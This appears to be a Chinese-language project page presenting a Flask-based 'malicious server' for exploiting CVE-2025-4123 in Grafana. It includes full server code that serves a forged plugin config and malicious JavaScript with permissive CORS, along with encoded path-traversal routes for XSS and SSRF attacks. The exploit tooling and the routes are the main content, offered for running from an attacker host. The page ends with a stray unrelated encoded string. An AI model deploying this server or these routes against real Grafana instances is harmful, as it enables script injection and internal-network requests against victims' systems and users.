CVE-2025-4123 漏洞验证与攻击模拟服务器

0 阅读4分钟

CVE-2025-4123 漏洞验证服务器

一个用于演示和验证Grafana中CVE-2025-4123漏洞的恶意服务器。该漏洞结合了客户端路径遍历和开放重定向,可导致跨站脚本(XSS)攻击。如果安装了Grafana图像渲染器插件,还可能实现服务器端请求伪造(SSRF)。

功能特性

  • 多向量攻击模拟:同时支持XSS和SSRF攻击路径的模拟。
  • 动态主机配置:支持通过命令行参数自定义攻击者主机地址。
  • 恶意资源服务:提供伪造的插件配置(data2.json)和恶意JavaScript代码(js.js)。
  • CORS支持:自动添加跨域资源共享头,便于浏览器端攻击测试。
  • 详细路由提示:启动时自动输出可用的攻击路由。

安装指南

系统要求

  • Python 3.x
  • Flask 库

安装步骤

  1. 克隆或下载本项目代码

  2. 确保项目目录中包含以下文件:

    • server.py - 主服务器文件
    • data2.json - 伪造的插件配置文件
    • js.js - 恶意JavaScript代码文件
  3. 安装Python依赖(如果尚未安装Flask):

    pip install flask
    
  4. 启动服务器(需要管理员权限以绑定80端口):

    sudo python server.py --host http://your-attacker-ip
    

注意:在Linux/macOS系统上需要使用sudo来绑定80端口,或者可以修改代码使用其他端口(如8080)。

使用说明

基础使用

启动服务器时,需要指定攻击者主机地址:

sudo python server.py --host http://192.168.1.100

启动后将显示两条攻击路由:

  1. XSS攻击路由:用于跨站脚本攻击的URL路径
  2. SSRF攻击路由:用于服务器端请求伪造攻击的URL路径

服务器工作原理

服务器根据查询参数动态响应不同内容:

  • ?p 参数:返回伪造的插件配置(data2.json),其中的"attacker"字符串会被替换为实际的主机地址
  • ?js 参数:返回恶意JavaScript代码(js.js),其中的"attacker"字符串同样会被替换
  • 其他请求:返回错误响应

所有响应都包含允许跨域的CORS头。

测试场景

  1. XSS测试:使用提供的XSS路由,当受害者访问特定Grafana页面时,会加载恶意脚本
  2. SSRF测试:使用提供的SSRF路由,利用Grafana图像渲染器插件发起内部网络请求

核心代码

主服务器逻辑(server.py)

from flask import Flask, jsonify, make_response, request
import json
import argparse

app = Flask(__name__)

# 全局变量存储攻击者控制的主机地址
attacker_host = "http://127.0.0.1"  # 默认值,可通过CLI参数覆盖


@app.route('/', defaults={'path': ''}, methods=["GET", "POST", "PUT", "DELETE", "PATCH", "OPTIONS"])
@app.route('/<path:path>', methods=["GET", "POST", "PUT", "DELETE", "PATCH", "OPTIONS"])
def serve_based_on_query(path):
    """
    基于查询参数提供不同内容的请求处理函数
    支持所有HTTP方法和任意路径
    """
    query_string = request.query_string.decode('utf-8')

    if request.method == 'OPTIONS':
        response = make_response('')
    else:
        if "p" in query_string:
            # 提供伪造的插件配置(data2.json)
            try:
                with open("data2.json") as f:
                    data = json.load(f)
                # 在JSON字符串中将"attacker"替换为实际的attacker_host
                data_str = json.dumps(data).replace("attacker", attacker_host)
                response = make_response(data_str)
                response.headers['Content-Type'] = 'application/json'
            except Exception as e:
                response = make_response(f"Error reading data2.json: {e}", 500)

        elif "js" in query_string:
            # 提供恶意的JavaScript代码(js.js)
            try:
                with open("js.js") as f:
                    js_content = f.read().replace("attacker", attacker_host)
                response = make_response(js_content)
                response.headers['Content-Type'] = 'application/javascript'
            except Exception as e:
                response = make_response(f"Error reading js.js: {e}", 500)

        else:
            response = make_response("Attacker Server Failed", 400)

    # 添加CORS头,允许跨域访问
    response.headers['Access-Control-Allow-Origin'] = '*'
    response.headers['Access-Control-Allow-Methods'] = 'GET, POST, PUT, DELETE, PATCH, OPTIONS'
    response.headers['Access-Control-Allow-Headers'] = '*'

    return response


if __name__ == '__main__':
    # 命令行参数解析
    parser = argparse.ArgumentParser(description='Start malicious server for CVE testing.')
    parser.add_argument('--host', help='Hostname of the attacker', required=False, default="http://127.0.0.1")
    args = parser.parse_args()

    # 更新攻击者主机地址
    attacker_host = args.host
    print(f"[+] Using attacker host: {attacker_host}")
    
    # 输出攻击路由信息
    print()
    print("[+] XSS Route: /a/..%2f..%2f..%2fpublic%2f..%252f%255C127.0.0.1%252f%253Fp%252f..%252f..%23/explore")
    print(f"[+] SSRF Route: /render/public/..%252f%5C{attacker_host}%252f%3F%252f..%252f..")
    print()
    
    # 启动Flask服务器
    app.run(host='0.0.0.0', port=80, debug=True)

漏洞说明文档

# CVE-2025-4123

CVE ID: "CVE-2025-4123"
严重等级: 高
基础分数: 7.6 HIGH 🔴
向量: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L
影响: 服务器端请求伪造 (SSRF), 跨站脚本 (XSS)
受影响版本: Grafana 11.2, Grafana 11.3, Grafana 11.4, Grafana 11.5, Grafana 11.6, Grafana 12.0

## 描述

Grafana中存在跨站脚本(XSS)漏洞,由客户端路径遍历和开放重定向组合导致。攻击者可以将用户重定向到托管前端插件的网站,从而执行任意JavaScript代码。此漏洞不需要编辑器权限,如果启用了匿名访问,XSS将正常工作。如果安装了Grafana图像渲染器插件,则可以利用开放重定向实现完整的读取SSRF。Grafana中的默认内容安全策略(CSP)将通过`connect-src`指令阻止XSS。
```FINISHED
6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ6fD0c8Y1UXGKu5wZ5ZYyBd